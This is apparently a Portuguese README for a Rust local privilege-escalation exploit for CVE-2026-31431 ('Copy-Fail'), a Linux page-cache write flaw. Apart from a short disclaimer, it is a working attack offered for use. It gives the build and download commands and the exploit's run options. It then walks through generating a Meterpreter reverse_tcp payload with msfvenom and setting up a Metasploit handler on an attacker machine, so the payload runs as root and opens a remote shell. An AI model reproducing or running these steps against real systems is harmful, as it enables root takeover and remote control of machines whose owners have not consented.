
Exploit de escalada de privilégios local baseado em Rust para CVE-2026-31431, permitindo a execução de shellcode personalizado, como Meterpreter, em sistemas Linux.
Uma implementação em Rust de um exploit de escalonamento local de privilégios para o CVE-2026-31431 (Copy-Fail).
Ele permite executar shellcode personalizado (como Meterpreter)
Xint divulgou o CVE-2026-31431, uma vulnerabilidade de escrita arbitrária no page cache que encadeia AF_ALG e splice() para alcançar uma primitiva de escrita de 4 bytes.
Fonte: Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
Este projeto foi desenvolvido como parte do meu interesse pessoal em estudar segurança cibernética. No entanto, ele pode potencialmente ser usado indevidamente para fins maliciosos.
NÃO use esta ferramenta para quaisquer atividades ilegais.
O autor não é responsável por qualquer uso indevido deste software.
Nota: O trabalho original usa shellcode comprimido/codificado (ex.:
/bin/sh). Nesta implementação, eu o substituí por um shellcode/bin/bashbruto (não comprimido), facilitando a personalização ou a substituição direta por payloads fornecidos pelo usuário.
Clone o projeto e execute o build.sh:
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
Baixe e extraia o pacote de lançamento:
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
Os binários fornecem as opções abaixo:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
Na máquina vulnerável:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
Use o comando abaixo (defina PrependSetUid como True) para gerar o payload Meterpreter:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
Na máquina do atacante (Kali Linux):
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
Na máquina vulnerável:
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin